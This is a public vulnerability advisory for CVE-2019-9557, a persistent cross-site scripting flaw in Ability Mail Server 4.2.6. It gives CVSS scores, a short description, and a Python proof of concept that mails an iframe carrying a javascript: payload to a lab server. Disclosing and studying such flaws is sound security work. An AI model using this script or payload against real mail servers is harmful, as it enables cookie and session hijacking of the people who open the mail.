Ability Mail Server 4.2.6 Cross Site Scripting

2019.03.05
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

# Exploit Title: Persistent Cross Site Scripting Ability Mail Server 4.2.6 # CVE: CVE-2019-9557 # Exploit Author: Aloyce J. Makalanga # Contact: https://twitter.com/aloycemjr <https://twitter.com/aloycemjr> # Vendor Homepage: https://www.codecrafters.com/AbilityMailServer <https://www.codecrafters.com/AbilityMailServer> # Category: webapps # Attack Type: Remote # Impact: Data/Cookie hijacking 1. Description > Ability Mail Server 4.2.6 has Persistent Cross Site Scripting (XSS) via > the body e-mail body. To exploit the vulnerability, the victim must > open an email with malicious Javascript inserted into the body of the > email as an iframe. 2. Proof of Concept #!/usr/bin/env python -tt # -*- coding: utf-8 -*- # Import modules import smtplib def trigger_persistence_xss(): email_addr = 'attacker@aloyce.local' email = 'From: %s\n' % email_addr email += 'To: %s\n' % email_addr email += 'Subject: XSS\n' email += 'Content-type: text/html\n\n' email += "<IFRAME SRC='javascript:alert('XSS');'></IFRAME>" s = smtplib.SMTP('192.168.1.172', 25) s.login(email_addr, "123456") s.sendmail(email_addr, email_addr, email) s.quit() def main(): pass if __name__ == '__main__': trigger_persistence_xss() main()


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